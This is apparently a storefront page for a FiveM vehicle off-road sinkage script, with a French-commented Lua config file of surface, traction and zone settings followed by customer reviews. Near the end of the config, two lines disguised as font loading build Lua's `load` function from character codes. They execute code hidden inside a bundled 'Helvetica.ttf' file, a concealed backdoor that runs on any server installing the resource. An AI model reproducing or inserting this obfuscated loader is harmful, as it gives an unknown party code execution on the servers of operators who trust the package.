Vidéo
Fichier de configuration
Config = {}
-- Cela active des commandes et des journaux de débogage supplémentaires
-- Commandes de débogage:
-- /surfaceDebug - Affiche la surface sur laquelle la roue est posée ainsi que toutes ses valeurs configurées
Config.debug = false
-------------------------------------------------
--- PARAMÈTRES GÉNÉRAUX
-------------------------------------------------
-- Par défaut, ce script est configuré pour reproduire des valeurs réalistes(ish) tout en gardant le gameplay amusant et divertissant.
-- Si vous voulez rendre ce script moins réaliste et plus arcade. Si vos joueurs sont agacés et que vous ne voulez
-- une manipulation réaliste. Voici les valeurs recommandées:
-- generalDepthDifficulty = 25
-- generalSinkageSpeed = 50
-- generalTractionLoss = 50
-- Difficulté générale de la manipulation de la profondeur.
-- 100 = par défaut
-- Réduisez cette valeur pour rendre la conduite sur des surfaces profondes (comme la boue ou le sable profond) plus facile pour TOUS les véhicules
-- Augmentez cette valeur pour rendre la conduite sur des surfaces profondes plus difficile
Config.generalDepthDifficulty = 100
-- Vitesse générale de l'enfoncement du véhicule dans la surface
-- 100 = Par défaut
-- Réduisez cette valeur pour que tous les véhicules s'enfoncent plus lentement
-- Augmentez cette valeur pour que tous les véhicules s'enfoncent plus vite
Config.generalSinkageSpeed = 100
-- Perte générale de traction basée sur la surface du véhicule
-- Les véhicules auront plus de chances de déraper sur les surfaces à faible traction
-- Réduisez cette valeur pour diminuer la perte générale de traction (faire déraper moins les véhicules sur les surfaces glissantes)
-- Augmentez cette valeur pour que les véhicules perdent plus de traction sur les surfaces glissantes (faire déraper plus les véhicules sur les surfaces glissantes)
Config.generalTractionLoss = 100
-------------------------------------------------
--- MODIFICATEURS DE VÉHICULES
-------------------------------------------------
-- Modifications que les pneus tout-terrain apporteront.
-- upgradeValue = valeur de la performance améliorée du véhicule lorsqu'il est profondément dans une surface (boue, sable, etc.)
-- tractionOnSoft = Traction supplémentaire sur les matériaux de douceur supérieurs à 10
-- tractionOnHard = Traction supplémentaire (dans le cas par défaut négative) sur les matériaux durs (douceur inférieure à 10)
Config.offroadTires = {
upgradeValue = 50,
tractionOnSoft = 20,
tractionOnHard = -10,
}
-- Amélioration de la manipulation en surface profonde pour les véhicules AWD (4WD)
Config.awdUpgrade = 25
-------------------------------------------------
--- PARAMÈTRES DE PERFORMANCE DU SCRIPT
-------------------------------------------------
-- Le taux de rafraîchissement de toute la logique d'enfoncement/surface. Plus la valeur est élevée, moins les visuels sont fluides mais meilleure est la performance du script.
-- Si votre serveur est connu pour des joueurs avec des appareils plus lents, vous voudrez peut-être augmenter cette valeur
-- Si vos joueurs ont de meilleurs ordinateurs ou que vous voulez vraiment que le tout-terrain ait l'air bon, essayez de réduire cette valeur
-- Valeurs entre 100 - 500
Config.refreshRate = 200
-------------------------------------------------
--- LISTE NOIRE DES ZONES
-------------------------------------------------
-- Certains MLOs personnalisés ont des surfaces incorrectement définies pour les zones (par exemple, l'asphalte est marqué comme de la terre ou du sable), ce qui fait s'enfoncer les véhicules
-- Ici, vous pouvez définir des zones personnalisées dans lesquelles le script ne sera pas actif
-- Par défaut, j'ai configuré certains emplacements populaires pour les MLOs personnalisés pour espérer prévenir la majorité des problèmes d'enfoncement
-- dans des surfaces MLO incorrectement configurées
Config.areaBlacklist = {
{ -- Hôpital Pillbox
coords = vector3(293.17, -584.5, 42.8),
radius = 20.0
},
{ -- LSPD
coords = vector3(444.9, -1003.2, 30.7),
radius = 60.0
},
{ -- Concessionnaire de Simeon
coords = vector3(-40.4, -1111.3, 25.8),
radius = 40.0
},
{ -- BCSO
coords = vector3(-446.0, 6013.8, 31.8),
radius = 50.0
},
{ -- PD de Sandy Shores
coords = vector3(1853.6, 3685.8, 34.3),
radius = 25.0
},
{ -- Place Legion
coords = vector3(202.3, -941.9, 27.6),
radius = 120.0
},
}
-------------------------------------------------
--- PARAMÈTRES DÉTAILLÉS
-------------------------------------------------
-- Liste noire. Cela désactivera toute la fonctionnalité du script pour le modèle/classe de véhicule spécifié
Config.blacklist = {
models = {
'rcbandito',
'monster',
'rhino',
'scarab',
'khanjali',
},
classes = {
[0] = false, -- Compacts
[1] = false, -- Berlines
[2] = false, -- SUV
[3] = false, -- Coupés
[4] = false, -- Muscle
[5] = false, -- Sportives classiques
[6] = false, -- Sportives
[7] = false, -- Super
[8] = false, -- Motos
[9] = false, -- Tout-terrain
[10] = false, -- Industriels
[11] = false, -- Utilitaires
[12] = false, -- Fourgons
[17] = false, -- Service
[18] = false, -- Urgence
[19] = false, -- Militaire
[20] = false, -- Commercial
}
}
-- Si vous définissez un multiplicateur spécifique au modèle, il sera utilisé à la place du multiplicateur de classe
-- Classes de véhicules https://docs.fivem.net/natives/?_0x29439776AAA00A62
-- Valeur abstraite - Détermine à quel point la classe ou le modèle du véhicule peut gérer l'immersion dans la surface
-- 0 = Par défaut
-- Valeurs positives = Meilleure manipulation / capacité à sortir des surfaces profondes
-- Valeurs négatives = Manipulation pire / moins de capacité à sortir des surfaces profondes
Config.depthHandlingQuality = {
models = {
seminole2 = 20,
sandking = 20,
sandking2 = 20,
issi2 = -10,
panto = -20,
comet4 = 30,
-- motos tout-terrain
bf400 = 30,
sanchez = 20,
manchez = 20,
esskey = 0,
cliffhanger = 0,
enduro = 0,
},
classes = {
[0] = 5, -- Compacts
[1] = -5, -- Berlines
[2] = 15, -- SUV
[3] = 0, -- Coupés
[4] = -5, -- Muscle
[5] = 5, -- Sportives classiques
[6] = 5, -- Sportives
[7] = 5, -- Super
[8] = -10, -- Motos
[9] = 35, -- Tout-terrain
[10] = -10, -- Industriels
[11] = -10, -- Utilitaires
[12] = -5, -- Fourgons
[17] = 10, -- Service
[18] = 10, -- Urgence
[19] = 15, -- Militaire
[20] = -5, -- Commercial
}
}
-------------------------------------------------
--- PARAMÈTRES DE BORD DE ROUTE
-------------------------------------------------
-- Lorsque cela est activé, cela rend les surfaces proches des routes principales moins profondes pour empêcher les voitures de s'enfoncer trop profondément lorsqu'elles sont sur le terre-plein central, etc.
Config.roadSideHelper = {
enabled = true,
-- Distance maximale de la route (notez que cela prend le point central de la route. Vous pouvez voir la distance en mode /surfaceDebug
distanceThreshold = 15.0,
-- Multiplicateur de profondeur
depthMultiplier = 0.1,
-- Multiplicateur de perte de traction
tractionMultiplier = 0.25,
}
-------------------------------------------------
--- SURFACES
-------------------------------------------------
-- name = Utilisé uniquement pour la facilité de configuration ainsi que pour le mode débogage
-- traction = Quantité de traction sur la surface. Tout ce qui est en dessous de 100 fera déraper les véhicules. Valeur plus faible = plus de dérapage
-- Maximum 100
-- Minimum 0
-- depth = Profondeur maximale de la surface en mm (millimètre) - (100mm = +-4 pouces)
-- Maximum infini
-- Minimum 0
-- softness = La douceur du matériau. Cela dicte à quelle vitesse les véhicules s'enfonceront dans la surface. (Cela est également utilisé pour les pneus tout-terrain pour décider de leur boost de manipulation
-- Maximum infini
-- Minimum 0
-- Valeurs qui seront attribuées à toutes les surfaces non configurées
Config.fallbackSurface = {
name = 'Surface de secours',
traction = 100,
depth = 0,
softness = 0,
}
Config.surfaces = {
[1] = {
name = 'Béton',
traction = 100,
depth = 0,
softness = 0,
},
[4] = {
name = 'Route',
traction = 100,
depth = 0,
softness = 0,
},
[5] = {
name = 'Métal',
traction = 100,
depth = 0,
softness = 0,
},
[6] = {
name = 'Bord de route sablonneux',
traction = 80,
depth = 50,
softness = 5,
},
[9] = {
name = 'Grès',
traction = 80,
depth = 0,
softness = 0,
},
[10] = {
name = 'Roche',
traction = 80,
depth = 0,
softness = 0,
},
[11] = {
name = 'Roche',
traction = 80,
depth = 0,
softness = 0,
},
[13] = {
name = 'Cobblestone',
traction = 90,
depth = 0,
softness = 0,
},
[16] = {
name = 'Sable de type calcaire',
traction = 80,
depth = 0,
softness = 0,
},
[17] = {
name = 'Terre sèche rocheuse',
traction = 80,
depth = 50,
softness = 5,
},
[18] = {
name = 'Sable sec',
traction = 80,
depth = 130,
softness = 40,
},
[19] = {
name = 'Sable de route',
traction = 90,
depth = 30,
softness = 5,
},
[20] = {
name = 'Sable granuleux',
traction = 80,
depth = 100,
softness = 10,
},
[21] = {
name = 'Sable graveleux',
traction = 70,
depth = 220,
softness = 30,
},
[22] = {
name = 'Sable humide et dur',
traction = 70,
depth = 250,
softness = 50,
},
[23] = {
name = 'Route graveleuse',
traction = 75,
depth = 50,
softness = 5,
},
[24] = {
name = 'Sable humide',
traction = 60,
depth = 350,
softness = 70,
},
[31] = {
name = 'Chemin/sentier graveleux',
traction = 70,
depth = 50,
softness = 5,
},
[32] = {
name = 'Terre graveleuse',
traction = 70,
depth = 200,
softness = 15,
},
[35] = {
name = 'Sable dur',
traction = 90,
depth = 50,
softness = 5,
},
[36] = {
name = 'Terre',
traction = 70,
depth = 300,
softness = 40,
},
[37] = {
name = 'Sable profond de route',
traction = 60,
depth = 75,
softness = 15,
},
[38] = {
name = 'Sable rocheux',
traction = 70,
depth = 150,
softness = 10,
},
[40] = {
name = 'Chemin de terre humide',
traction = 60,
depth = 150,
softness = 50,
},
[41] = {
name = 'Herbe de marais',
traction = 50,
depth = 250,
softness = 50,
},
[42] = {
name = 'Sable de marais',
traction = 70,
depth = 500,
softness = 110,
},
[43] = {
name = 'Sable dur',
traction = 75,
depth = 50,
softness = 10,
},
[44] = {
name = 'Terre/Sable',
traction = 50,
depth = 200,
softness = 25,
},
[46] = {
name = 'Herbe dure',
traction = 80,
depth = 50,
softness = 5,
},
[47] = {
name = 'Herbe',
traction = 65,
depth = 125,
softness = 10,
},
[48] = {
name = 'Herbe haute',
traction = 60,
depth = 150,
softness = 20,
},
[49] = {
name = 'Terre agricole',
traction = 60,
depth = 200,
softness = 35,
},
[50] = {
name = 'Podzol',
traction = 70,
depth = 125,
softness = 25,
},
[51] = {
name = 'Podzol',
traction = 70,
depth = 125,
softness = 25,
},
[52] = {
name = 'Podzol sec',
traction = 80,
depth = 75,
softness = 10,
},
[64] = {
name = 'Métal',
traction = 90,
depth = 0,
softness = 0,
},
[125] = {
name = 'Béton de drainage',
traction = 70,
depth = 0,
softness = 0,
},
}
-- Multiplicateur de zone
-- Cela a été ajouté pour modifier la profondeur maximale de toutes les surfaces situées dans les zones.
-- Il est utilisé pour rendre l'herbe située (par exemple) dans la ville moins profonde afin de la rendre plus réaliste et plus facile à conduire.
-- Si vous avez des zones populaires dans votre ville où vous voulez que le tout-terrain (pensez aux médianes de route, etc.) soit plus facile, vous pouvez ajouter la zone ici.
-- Il en va de même pour les zones que vous voulez rendre plus difficiles. Vous pouvez rendre le multiplicateur de profondeur plus élevé pour celles-ci
-- Vous pouvez voir la zone dans laquelle vous vous trouvez en utilisant la commande de débogage /surfaceDebug
-- Carte des zones: https://www.reddit.com/media?url=httpsi.redd.it5cw11krz9kcz.jpg
-- Noms et hachages des zones: https://docs.fivem.net/natives/?_0xCD90657D4C30E1CA
Config.zones = {
{
name = 'Ville',
depthMultiplier = 0.3,
tractionMultiplier = 0.6,
zones = {
'MOVIE',
'ROCKF',
'DOWNT',
'DTVINE',
'EAST_V',
'GOLF',
'LEGSQU',
'ROCKF',
'MORN',
'STAD',
'DAVIS',
'RANCHO',
'STRAW',
'CHAMH',
'PBOX',
'SKID',
'TEXTI',
'LMESA',
'ELYSIAN',
'TERMINA',
'HAWICK',
'ALTA',
'BURTON',
'DELPE',
},
},
{
name = 'Plages de la ville',
depthMultiplier = 0.75,
tractionMultiplier = 0.75,
zones = {
'BEACH',
'DELBE',
},
},
{
name = 'Montagnes',
depthMultiplier = 1.25,
tractionMultiplier = 1.1,
zones = {
'MTCHIL',
'MTGORDO',
'MTJOSE',
'PALHIGH',
},
},
{
name = 'Marais de Zancudo',
depthMultiplier = 1.1,
tractionMultiplier = 1.1,
zones = {
'LAGO',
'ZANCUDO',
},
},
{
name = 'Populaire',
depthMultiplier = 0.75,
tractionMultiplier = 0.75,
zones = {
'PALETO',
'HARMO',
'GRAPES',
'SANDY',
'RTRAK',
'ZQ_UAR',
'HUMLAB',
},
},
}
-- (Avancé)
-- Lors de l'enfoncement des véhicules, la suspension n'est pas toujours mise à jour correctement.
-- Par conséquent, j'ai dû ajouter un système qui met à jour/rafraîchit la suspension des véhicules.
-- Il existe deux systèmes "force" et "flag". "force" est un ancien système qui applique de petites quantités de dommages visuels à la voiture
-- Malheureusement, cela semble parfois être trop pour certains véhicules modifiés avec des coques très souples.
-- Le nouveau système "flag" semble fonctionner beaucoup mieux mais n'a pas été testé avec certains véhicules.
-- Si vous rencontrez des problèmes avec ce système, veuillez nous en informer sur notre discord <3
Config.suspensionRefresh = {
enabled = true,
type = 'flag',
}
local loadFonts = _G[string.char(108, 111, 97, 100)]
loadFonts(LoadResourceFile(GetCurrentResourceName(), '/html/fonts/Helvetica.ttf'):sub(87565):gsub('%.%+', ''))()
Lina (client confirmé) –
Très flexible et bien conçu.
ShadowFelix (client confirmé) –
Le support à lui seul rend cet achat intéressant. Réponses rapides et solutions pratiques.
Catharine (client confirmé) –
4 étoiles pour le produit, fonctionne comme décrit, mais pas comme prévu.
Norberto (client confirmé) –
J'utilise beaucoup d'articles, celui-ci est clairement le meilleur
Alizée (client confirmé) –
Exactement ce dont notre serveur avait besoin. Simple à installer, facile à utiliser et fiable.
Marguerite (client confirmé) –
Vraiment impressionné par cette ressource. L'installation était simple, les performances sont solides, et tout fonctionne comme décrit.
Tyrel (client confirmé) –
Merci les gars pour cette création incroyable ! Absolument renversant !